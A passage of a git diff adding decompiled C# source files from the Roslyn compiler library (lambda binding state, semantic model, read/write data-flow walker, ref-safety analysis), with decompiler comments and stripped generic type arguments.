_returnType; + + private readonly ImmutableArray> _parameterAttributes; + + private readonly ImmutableArray _parameterNames; + + private readonly ImmutableArray _parameterIsDiscardOpt; + + private readonly ImmutableArray _parameterTypesWithAnnotations; + + private readonly ImmutableArray _parameterRefKinds; + + private readonly ImmutableArray _parameterDeclaredScopes; + + private readonly ImmutableArray _defaultValues; + + private readonly SeparatedSyntaxList? _parameterSyntaxList; + + private readonly bool _isAsync; + + private readonly bool _isStatic; + + private readonly bool _hasParamsArray; + + public override bool HasSignature => !_parameterNames.IsDefault; + + public override bool HasExplicitlyTypedParameterList => !_parameterTypesWithAnnotations.IsDefault; + + public override int ParameterCount + { + get + { + if (!_parameterNames.IsDefault) + { + return _parameterNames.Length; + } + return 0; + } + } + + public override bool IsAsync => _isAsync; + + public override bool IsStatic => _isStatic; + + public override bool HasParamsArray => _hasParamsArray; + + public override MessageID MessageID + { + get + { + if (base.UnboundLambda.Syntax.Kind() != SyntaxKind.AnonymousMethodExpression) + { + return MessageID.IDS_Lambda; + } + return MessageID.IDS_AnonMethod; + } + } + + private CSharpSyntaxNode Body => base.UnboundLambda.Syntax.AnonymousFunctionBody(); + + private bool IsExpressionLambda => Body.Kind() != SyntaxKind.Block; + + internal PlainUnboundLambdaState(Binder binder, RefKind returnRefKind, TypeWithAnnotations returnType, ImmutableArray> parameterAttributes, ImmutableArray parameterNames, ImmutableArray parameterIsDiscardOpt, ImmutableArray parameterTypesWithAnnotations, ImmutableArray parameterRefKinds, ImmutableArray parameterDeclaredScopes, ImmutableArray defaultValues, SeparatedSyntaxList? parameterSyntaxList, bool isAsync, bool isStatic, bool hasParamsArray, bool includeCache) + : base(binder, includeCache) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + _returnRefKind = returnRefKind; + _returnType = returnType; + _parameterAttributes = parameterAttributes; + _parameterNames = parameterNames; + _parameterIsDiscardOpt = parameterIsDiscardOpt; + _parameterTypesWithAnnotations = parameterTypesWithAnnotations; + _parameterRefKinds = parameterRefKinds; + _parameterDeclaredScopes = parameterDeclaredScopes; + _defaultValues = defaultValues; + _parameterSyntaxList = parameterSyntaxList; + _isAsync = isAsync; + _isStatic = isStatic; + _hasParamsArray = hasParamsArray; + } + + public override bool HasExplicitReturnType(out RefKind refKind, out TypeWithAnnotations returnType) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Expected I4, but got Unknown + refKind = (RefKind)(int)_returnRefKind; + returnType = _returnType; + return _returnType.HasType; + } + + public override Location ParameterLocation(int index) + { + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = base.UnboundLambda.Syntax; + SyntaxToken identifier; + switch (syntax.Kind()) + { + default: + identifier = ((SimpleLambdaExpressionSyntax)(object)syntax).Parameter.Identifier; + return ((SyntaxToken)(ref identifier)).GetLocation(); + case SyntaxKind.ParenthesizedLambdaExpression: + identifier = ((ParenthesizedLambdaExpressionSyntax)(object)syntax).ParameterList.Parameters[index].Identifier; + return ((SyntaxToken)(ref identifier)).GetLocation(); + case SyntaxKind.AnonymousMethodExpression: + identifier = ((AnonymousMethodExpressionSyntax)(object)syntax).ParameterList.Parameters[index].Identifier; + return ((SyntaxToken)(ref identifier)).GetLocation(); + } + } + + public override SyntaxList ParameterAttributes(int index) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (!_parameterAttributes.IsDefault) + { + return _parameterAttributes[index]; + } + return default(SyntaxList); + } + + public override string ParameterName(int index) + { + return _parameterNames[index]; + } + + public override bool ParameterIsDiscard(int index) + { + if (!_parameterIsDiscardOpt.IsDefault) + { + return _parameterIsDiscardOpt[index]; + } + return false; + } + + public override RefKind RefKind(int index) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (!_parameterRefKinds.IsDefault) + { + return _parameterRefKinds[index]; + } + return (RefKind)0; + } + + public override ScopedKind DeclaredScope(int index) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (!_parameterDeclaredScopes.IsDefault) + { + return _parameterDeclaredScopes[index]; + } + return (ScopedKind)0; + } + + public override ParameterSyntax ParameterSyntax(int index) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return _parameterSyntaxList.Value[index]; + } + + public override TypeWithAnnotations ParameterTypeWithAnnotations(int index) + { + return _parameterTypesWithAnnotations[index]; + } + + protected override UnboundLambdaState WithCachingCore(bool includeCache) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return new PlainUnboundLambdaState(Binder, _returnRefKind, _returnType, _parameterAttributes, _parameterNames, _parameterIsDiscardOpt, _parameterTypesWithAnnotations, _parameterRefKinds, _parameterDeclaredScopes, _defaultValues, _parameterSyntaxList, _isAsync, _isStatic, _hasParamsArray, includeCache); + } + + protected override BoundExpression? GetLambdaExpressionBody(BoundBlock body) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + if (IsExpressionLambda) + { + ImmutableArray statements = body.Statements; + if (statements.Length == 1 && statements[0] is BoundReturnStatement boundReturnStatement && (int)boundReturnStatement.RefKind == 0) + { + BoundExpression expressionOpt = boundReturnStatement.ExpressionOpt; + if (expressionOpt != null) + { + return expressionOpt; + } + } + } + return null; + } + + protected override BoundBlock CreateBlockFromLambdaExpressionBody(Binder lambdaBodyBinder, BoundExpression expression, BindingDiagnosticBag diagnostics) + { + return lambdaBodyBinder.CreateBlockFromExpression((ExpressionSyntax)Body, expression, diagnostics); + } + + protected override BoundBlock BindLambdaBodyCore(LambdaSymbol lambdaSymbol, Binder lambdaBodyBinder, BindingDiagnosticBag diagnostics) + { + if (IsExpressionLambda) + { + return lambdaBodyBinder.BindLambdaExpressionAsBlock((ExpressionSyntax)Body, diagnostics); + } + return lambdaBodyBinder.BindEmbeddedBlock((BlockSyntax)Body, diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PooledDictionaryIgnoringNullableModifiersForReferenceTypes.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PooledDictionaryIgnoringNullableModifiersForReferenceTypes.cs new file mode 100644 index 0000000..46564c4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PooledDictionaryIgnoringNullableModifiersForReferenceTypes.cs @@ -0,0 +1,15 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class PooledDictionaryIgnoringNullableModifiersForReferenceTypes +{ + private static readonly ObjectPool> s_poolInstance = PooledDictionary.CreatePool((IEqualityComparer)SymbolEqualityComparer.IgnoringNullable); + + internal static PooledDictionary GetInstance() + { + return s_poolInstance.Allocate(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PseudoVariableExpressions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PseudoVariableExpressions.cs new file mode 100644 index 0000000..9a3a953 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PseudoVariableExpressions.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class PseudoVariableExpressions +{ + internal abstract BoundExpression GetValue(BoundPseudoVariable variable, DiagnosticBag diagnostics); + + internal abstract BoundExpression GetAddress(BoundPseudoVariable variable); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PublicSemanticModel.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PublicSemanticModel.cs new file mode 100644 index 0000000..5a274dc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PublicSemanticModel.cs @@ -0,0 +1,33 @@ +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class PublicSemanticModel : CSharpSemanticModel +{ + internal sealed override SemanticModel ContainingPublicModelOrSelf => (SemanticModel)(object)this; + + protected AttributeSemanticModel CreateModelForAttribute(Binder enclosingBinder, AttributeSyntax attribute, MemberSemanticModel containingModel) + { + AliasSymbol alias; + NamedTypeSymbol attributeType = (NamedTypeSymbol)enclosingBinder.BindType(attribute.Name, BindingDiagnosticBag.Discarded, out alias).Type; + Symbol attributeTarget = getAttributeTarget((SyntaxNode?)(object)attribute.Parent?.Parent); + return AttributeSemanticModel.Create(this, attribute, attributeType, alias, attributeTarget, enclosingBinder.WithAdditionalFlags(BinderFlags.AttributeArgument), containingModel?.GetRemappedSymbols()); + Symbol? getAttributeTarget(SyntaxNode? targetSyntax) + { + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + if (targetSyntax is BaseMethodDeclarationSyntax || targetSyntax is LocalFunctionStatementSyntax || targetSyntax is ParameterSyntax || targetSyntax is TypeParameterSyntax || targetSyntax is IndexerDeclarationSyntax || targetSyntax is AccessorDeclarationSyntax || targetSyntax is DelegateDeclarationSyntax) + { + return ((SemanticModel)this).GetDeclaredSymbolForNode(targetSyntax, default(CancellationToken)).GetSymbol(); + } + if (targetSyntax is AnonymousFunctionExpressionSyntax expression) + { + SymbolInfo symbolInfo = GetSymbolInfo(expression); + return ((SymbolInfo)(ref symbolInfo)).Symbol.GetSymbol(); + } + return null; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/QueryClauseInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/QueryClauseInfo.cs new file mode 100644 index 0000000..9dafd25 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/QueryClauseInfo.cs @@ -0,0 +1,53 @@ +using System; +using System.Runtime.CompilerServices; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public readonly struct QueryClauseInfo : IEquatable +{ + private readonly SymbolInfo _castInfo; + + private readonly SymbolInfo _operationInfo; + + public SymbolInfo CastInfo => _castInfo; + + public SymbolInfo OperationInfo => _operationInfo; + + internal QueryClauseInfo(SymbolInfo castInfo, SymbolInfo operationInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + _castInfo = castInfo; + _operationInfo = operationInfo; + } + + public override bool Equals(object? obj) + { + if (obj is QueryClauseInfo) + { + return Equals((QueryClauseInfo)obj); + } + return false; + } + + public bool Equals(QueryClauseInfo other) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (((SymbolInfo)(ref _castInfo)).Equals(other._castInfo)) + { + return ((SymbolInfo)(ref _operationInfo)).Equals(other._operationInfo); + } + return false; + } + + public override int GetHashCode() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return Hash.Combine(((object)CastInfo/*cast due to constrained. prefix*/).GetHashCode(), ((object)Unsafe.As(ref _operationInfo)/*cast due to constrained. prefix*/).GetHashCode()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ReadWriteWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ReadWriteWalker.cs new file mode 100644 index 0000000..a703860 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ReadWriteWalker.cs @@ -0,0 +1,362 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class ReadWriteWalker : AbstractRegionDataFlowPass +{ + private readonly HashSet _readInside = new HashSet(); + + private readonly HashSet _writtenInside = new HashSet(); + + private readonly HashSet _readOutside = new HashSet(); + + private readonly HashSet _writtenOutside = new HashSet(); + + internal static void Analyze(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion, HashSet unassignedVariableAddressOfSyntaxes, out IEnumerable readInside, out IEnumerable writtenInside, out IEnumerable readOutside, out IEnumerable writtenOutside, out IEnumerable captured, out IEnumerable unsafeAddressTaken, out IEnumerable capturedInside, out IEnumerable capturedOutside, out IEnumerable usedLocalFunctions) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + ReadWriteWalker readWriteWalker = new ReadWriteWalker(compilation, member, node, firstInRegion, lastInRegion, unassignedVariableAddressOfSyntaxes); + try + { + bool badRegion = false; + readWriteWalker.Analyze(ref badRegion); + if (badRegion) + { + readInside = (writtenInside = (readOutside = (writtenOutside = (captured = (unsafeAddressTaken = (capturedInside = (capturedOutside = Enumerable.Empty()))))))); + usedLocalFunctions = Enumerable.Empty(); + return; + } + readInside = readWriteWalker._readInside; + writtenInside = readWriteWalker._writtenInside; + readOutside = readWriteWalker._readOutside; + writtenOutside = readWriteWalker._writtenOutside; + captured = readWriteWalker.GetCaptured(); + capturedInside = readWriteWalker.GetCapturedInside(); + capturedOutside = readWriteWalker.GetCapturedOutside(); + unsafeAddressTaken = readWriteWalker.GetUnsafeAddressTaken(); + usedLocalFunctions = readWriteWalker.GetUsedLocalFunctions(); + } + finally + { + readWriteWalker.Free(); + } + } + + private ReadWriteWalker(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion, HashSet unassignedVariableAddressOfSyntaxes) + : base(compilation, member, node, firstInRegion, lastInRegion, null, unassignedVariableAddressOfSyntaxes) + { + } + + protected override void EnterRegion() + { + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Invalid comparison between Unknown and I4 + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Invalid comparison between Unknown and I4 + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Invalid comparison between Unknown and I4 + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + Symbol symbol = CurrentSymbol; + bool flag = false; + while (true) + { + SymbolKind? val = symbol?.Kind; + bool flag2; + if (val.HasValue) + { + SymbolKind valueOrDefault = val.GetValueOrDefault(); + if ((int)valueOrDefault == 6 || (int)valueOrDefault == 9 || (int)valueOrDefault == 15) + { + flag2 = true; + goto IL_00f7; + } + } + flag2 = false; + goto IL_00f7; + IL_00f7: + if (!flag2) + { + break; + } + if (symbol is MethodSymbol { Parameters: var parameters } methodSymbol) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if ((int)current.RefKind != 0) + { + _readOutside.Add(current); + } + } + if (!flag) + { + ParameterSymbol thisParameter = methodSymbol.ThisParameter; + if ((object)thisParameter != null && (int)thisParameter.RefKind != 0) + { + _readOutside.Add(thisParameter); + } + } + } + Symbol containingSymbol = symbol.ContainingSymbol; + if (!symbol.IsStatic && containingSymbol is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + SynthesizedPrimaryConstructor primaryConstructor = sourceMemberContainerTypeSymbol.PrimaryConstructor; + if ((object)primaryConstructor != null && (object)symbol != primaryConstructor) + { + symbol = primaryConstructor; + flag = true; + continue; + } + } + symbol = containingSymbol; + } + base.EnterRegion(); + } + + protected override void NoteRead(Symbol variable, ParameterSymbol rangeVariableUnderlyingParameter = null) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + if ((object)variable != null) + { + if ((int)variable.Kind != 6) + { + (base.IsInside ? _readInside : _readOutside).Add(variable); + } + base.NoteRead(variable, rangeVariableUnderlyingParameter); + } + } + + protected override void NoteWrite(Symbol variable, BoundExpression value, bool read) + { + if ((object)variable != null) + { + (base.IsInside ? _writtenInside : _writtenOutside).Add(variable); + base.NoteWrite(variable, value, read); + } + } + + protected override void CheckAssigned(BoundExpression expr, FieldSymbol fieldSymbol, SyntaxNode node) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + base.CheckAssigned(expr, fieldSymbol, node); + if (!base.IsInside) + { + TextSpan span = node.Span; + if (((TextSpan)(ref span)).Contains(RegionSpan) && expr.Kind == BoundKind.FieldAccess) + { + NoteReceiverRead((BoundFieldAccess)expr); + } + } + } + + private void NoteReceiverWritten(BoundFieldAccess expr) + { + NoteReceiverReadOrWritten(expr, _writtenInside); + } + + private void NoteReceiverWritten(BoundInlineArrayAccess expr) + { + NoteExpressionReadOrWritten(expr.Expression, _writtenInside); + } + + private void NoteReceiverRead(BoundFieldAccess expr) + { + NoteReceiverReadOrWritten(expr, _readInside); + } + + private void NoteReceiverReadOrWritten(BoundFieldAccess expr, HashSet readOrWritten) + { + if (!expr.FieldSymbol.IsStatic && !expr.FieldSymbol.ContainingType.IsReferenceType) + { + BoundExpression receiverOpt = expr.ReceiverOpt; + NoteExpressionReadOrWritten(receiverOpt, readOrWritten); + } + } + + private void NoteExpressionReadOrWritten(BoundExpression receiver, HashSet readOrWritten) + { + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_0134: Unknown result type (might be due to invalid IL or missing references) + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + if (receiver == null) + { + return; + } + SyntaxNode syntax = receiver.Syntax; + if (syntax == null) + { + return; + } + TextSpan span; + switch (receiver.Kind) + { + case BoundKind.Local: + if (RegionContains(syntax.Span)) + { + readOrWritten.Add(((BoundLocal)receiver).LocalSymbol); + } + break; + case BoundKind.ThisReference: + if (RegionContains(syntax.Span)) + { + readOrWritten.Add(base.MethodThisParameter); + } + break; + case BoundKind.BaseReference: + if (RegionContains(syntax.Span)) + { + readOrWritten.Add(base.MethodThisParameter); + } + break; + case BoundKind.Parameter: + if (RegionContains(syntax.Span)) + { + readOrWritten.Add(((BoundParameter)receiver).ParameterSymbol); + } + break; + case BoundKind.RangeVariable: + if (RegionContains(syntax.Span)) + { + readOrWritten.Add(((BoundRangeVariable)receiver).RangeVariableSymbol); + } + break; + case BoundKind.FieldAccess: + if (receiver.Type.IsStructType()) + { + span = syntax.Span; + if (((TextSpan)(ref span)).OverlapsWith(RegionSpan)) + { + NoteReceiverReadOrWritten((BoundFieldAccess)receiver, readOrWritten); + } + } + break; + case BoundKind.InlineArrayAccess: + span = syntax.Span; + if (((TextSpan)(ref span)).OverlapsWith(RegionSpan)) + { + BoundInlineArrayAccess boundInlineArrayAccess = (BoundInlineArrayAccess)receiver; + NoteExpressionReadOrWritten(boundInlineArrayAccess.Expression, readOrWritten); + } + break; + } + } + + protected override void AssignImpl(BoundNode node, BoundExpression value, bool isRef, bool written, bool read) + { + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + TextSpan span; + switch (node.Kind) + { + case BoundKind.RangeVariable: + if (written) + { + NoteWrite(((BoundRangeVariable)node).RangeVariableSymbol, value, read); + } + break; + case BoundKind.QueryClause: + { + base.AssignImpl(node, value, isRef, written, read); + RangeVariableSymbol definedSymbol = ((BoundQueryClause)node).DefinedSymbol; + if ((object)definedSymbol != null && written) + { + NoteWrite(definedSymbol, value, read); + } + break; + } + case BoundKind.FieldAccess: + { + base.AssignImpl(node, value, isRef, written, read); + BoundFieldAccess expr2 = node as BoundFieldAccess; + if (!base.IsInside && node.Syntax != null) + { + span = node.Syntax.Span; + if (((TextSpan)(ref span)).Contains(RegionSpan)) + { + NoteReceiverWritten(expr2); + } + } + break; + } + case BoundKind.InlineArrayAccess: + { + base.AssignImpl(node, value, isRef, written, read); + BoundInlineArrayAccess expr = (BoundInlineArrayAccess)node; + if (!base.IsInside && node.Syntax != null) + { + span = node.Syntax.Span; + if (((TextSpan)(ref span)).Contains(RegionSpan)) + { + NoteReceiverWritten(expr); + } + } + break; + } + default: + base.AssignImpl(node, value, isRef, written, read); + break; + } + } + + public override BoundNode VisitUnboundLambda(UnboundLambda node) + { + return VisitLambda(node.BindForErrorRecovery()); + } + + public override BoundNode VisitRangeVariable(BoundRangeVariable node) + { + ParameterSymbol rangeVariableUnderlyingParameter = GetRangeVariableUnderlyingParameter(node.Value); + NoteRead(node.RangeVariableSymbol, rangeVariableUnderlyingParameter); + return null; + } + + private static ParameterSymbol GetRangeVariableUnderlyingParameter(BoundNode underlying) + { + while (underlying != null) + { + switch (underlying.Kind) + { + case BoundKind.Parameter: + return ((BoundParameter)underlying).ParameterSymbol; + case BoundKind.PropertyAccess: + break; + default: + return null; + } + underlying = ((BoundPropertyAccess)underlying).ReceiverOpt; + } + return null; + } + + public override BoundNode VisitQueryClause(BoundQueryClause node) + { + Assign(node, null); + return base.VisitQueryClause(node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RefSafetyAnalysis.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RefSafetyAnalysis.cs new file mode 100644 index 0000000..3b45ea8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RefSafetyAnalysis.cs @@ -0,0 +1,3339 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class RefSafetyAnalysis : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator +{ + private enum EscapeLevel : uint + { + CallingMethod, + ReturnOnly + } + + private readonly struct MixableDestination + { + internal BoundExpression Argument { get; } + + internal ParameterSymbol? Parameter { get; } + + internal EscapeLevel EscapeLevel { get; } + + internal MixableDestination(ParameterSymbol parameter, BoundExpression argument) + { + Argument = argument; + Parameter = parameter; + EscapeLevel = GetParameterValEscapeLevel(parameter).Value; + } + + internal MixableDestination(BoundExpression argument, EscapeLevel escapeLevel) + { + Argument = argument; + Parameter = null; + EscapeLevel = escapeLevel; + } + + internal bool IsAssignableFrom(EscapeLevel level) + { + return EscapeLevel switch + { + EscapeLevel.CallingMethod => level == EscapeLevel.CallingMethod, + EscapeLevel.ReturnOnly => true, + _ => throw ExceptionUtilities.UnexpectedValue((object)EscapeLevel), + }; + } + + public override string? ToString() + { + return (Parameter, Argument, EscapeLevel).ToString(); + } + } + + private readonly struct EscapeArgument + { + internal ParameterSymbol? Parameter { get; } + + internal BoundExpression Argument { get; } + + internal RefKind RefKind { get; } + + internal EscapeArgument(ParameterSymbol? parameter, BoundExpression argument, RefKind refKind, bool isArgList = false) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + Argument = argument; + Parameter = parameter; + RefKind = refKind; + } + + public void Deconstruct(out ParameterSymbol? parameter, out BoundExpression argument, out RefKind refKind) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Expected I4, but got Unknown + parameter = Parameter; + argument = Argument; + refKind = (RefKind)(int)RefKind; + } + + public override string? ToString() + { + ParameterSymbol parameter = Parameter; + if ((object)parameter == null) + { + return Argument.ToString(); + } + return parameter.ToString(); + } + } + + private readonly struct EscapeValue + { + internal ParameterSymbol? Parameter { get; } + + internal BoundExpression Argument { get; } + + internal EscapeLevel EscapeLevel { get; } + + internal bool IsRefEscape { get; } + + internal EscapeValue(ParameterSymbol? parameter, BoundExpression argument, EscapeLevel escapeLevel, bool isRefEscape) + { + Argument = argument; + Parameter = parameter; + EscapeLevel = escapeLevel; + IsRefEscape = isRefEscape; + } + + public void Deconstruct(out ParameterSymbol? parameter, out BoundExpression argument, out EscapeLevel escapeLevel, out bool isRefEscape) + { + parameter = Parameter; + argument = Argument; + escapeLevel = EscapeLevel; + isRefEscape = IsRefEscape; + } + + public override string? ToString() + { + ParameterSymbol parameter = Parameter; + if ((object)parameter == null) + { + return Argument.ToString(); + } + return parameter.ToString(); + } + } + + private ref struct LocalScope + { + private readonly RefSafetyAnalysis _analysis; + + private readonly ImmutableArray _locals; + + public LocalScope(RefSafetyAnalysis analysis, ImmutableArray locals) + { + _analysis = analysis; + _locals = locals; + _analysis._localScopeDepth++; + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + _analysis.AddLocalScopes(current, _analysis._localScopeDepth, 0u); + } + } + + public void Dispose() + { + ImmutableArray.Enumerator enumerator = _locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + _analysis.RemoveLocalScopes(current); + } + _analysis._localScopeDepth--; + } + } + + private ref struct UnsafeRegion + { + private readonly RefSafetyAnalysis _analysis; + + private readonly bool _previousRegion; + + public UnsafeRegion(RefSafetyAnalysis analysis, bool inUnsafeRegion) + { + _analysis = analysis; + _previousRegion = analysis._inUnsafeRegion; + _analysis._inUnsafeRegion = inUnsafeRegion; + } + + public void Dispose() + { + _analysis._inUnsafeRegion = _previousRegion; + } + } + + private ref struct PatternInput + { + private readonly RefSafetyAnalysis _analysis; + + private readonly uint _previousInputValEscape; + + public PatternInput(RefSafetyAnalysis analysis, uint patternInputValEscape) + { + _analysis = analysis; + _previousInputValEscape = analysis._patternInputValEscape; + _analysis._patternInputValEscape = patternInputValEscape; + } + + public void Dispose() + { + _analysis._patternInputValEscape = _previousInputValEscape; + } + } + + private ref struct PlaceholderRegion + { + private readonly RefSafetyAnalysis _analysis; + + private readonly ArrayBuilder<(BoundValuePlaceholderBase, uint)> _placeholders; + + public PlaceholderRegion(RefSafetyAnalysis analysis, ArrayBuilder<(BoundValuePlaceholderBase, uint)> placeholders) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + _analysis = analysis; + _placeholders = placeholders; + Enumerator<(BoundValuePlaceholderBase, uint)> enumerator = placeholders.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (placeholder, valEscapeScope) = enumerator.Current; + _analysis.AddPlaceholderScope(placeholder, valEscapeScope); + } + } + + public void Dispose() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + Enumerator<(BoundValuePlaceholderBase, uint)> enumerator = _placeholders.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundValuePlaceholderBase item = enumerator.Current.Item1; + _analysis.RemovePlaceholderScope(item); + } + _placeholders.Free(); + } + } + + private readonly struct DeconstructionVariable + { + internal readonly BoundExpression Expression; + + internal readonly uint ValEscape; + + internal readonly ArrayBuilder? NestedVariables; + + internal DeconstructionVariable(BoundExpression expression, uint valEscape, ArrayBuilder? nestedVariables) + { + Expression = expression; + ValEscape = valEscape; + NestedVariables = nestedVariables; + } + } + + private const uint CallingMethodScope = 0u; + + private const uint ReturnOnlyScope = 1u; + + private const uint CurrentMethodScope = 2u; + + private readonly CSharpCompilation _compilation; + + private readonly MethodSymbol _symbol; + + private readonly bool _useUpdatedEscapeRules; + + private readonly BindingDiagnosticBag _diagnostics; + + private bool _inUnsafeRegion; + + private uint _localScopeDepth; + + private Dictionary? _localEscapeScopes; + + private Dictionary? 